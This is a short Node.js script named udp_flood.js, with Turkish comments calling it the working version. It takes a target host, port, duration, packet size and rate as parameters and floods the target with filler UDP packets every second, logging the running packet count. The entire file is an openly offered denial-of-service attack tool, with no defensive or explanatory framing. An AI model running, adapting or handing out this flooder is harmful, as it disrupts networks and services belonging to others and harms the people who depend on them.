/ udp_fload.js
udp_fload.js
 1  // udp_flood.js - ÇALIŞAN VERSİYON
 2  const dgram = require('dgram');
 3  
 4  // Parametreler
 5  const target = params.target;
 6  const port = params.port;
 7  const duration = (params.duration || 10) * 1000; // ms
 8  const packetSize = params.packetSize || 1024; // 1KB
 9  const rate = params.rate || 100; // saniyede 100 paket
10  
11  console.log(`[+] UDP Flood: ${target}:${port} - ${duration/1000}s`);
12  
13  // Tek bir socket oluştur
14  const socket = dgram.createSocket('udp4');
15  socket.unref(); // Programın kapanmasını engelleme
16  
17  // Packet oluştur
18  const payload = Buffer.alloc(packetSize, 'X');
19  
20  let sentCount = 0;
21  let startTime = Date.now();
22  
23  // Her saniye rate kadar paket gönder
24  const interval = setInterval(() => {
25      const now = Date.now();
26      
27      // Süre doldu mu?
28      if (now - startTime >= duration) {
29          clearInterval(interval);
30          socket.close();
31          console.log(`[+] UDP Flood bitti: ${sentCount} paket`);
32          return;
33      }
34      
35      // Rate kadar paket gönder
36      for (let i = 0; i < rate; i++) {
37          socket.send(payload, 0, payload.length, port, target, (err) => {
38              if (!err) sentCount++;
39          });
40      }
41      
42      // Her saniye log
43      console.log(`[+] ${sentCount} paket gönderildi...`);
44      
45  }, 1000); // Her saniye
46  
47  // Hata yönetimi
48  socket.on('error', (err) => {
49      console.log(`[!] Socket hatası: ${err.message}`);
50  });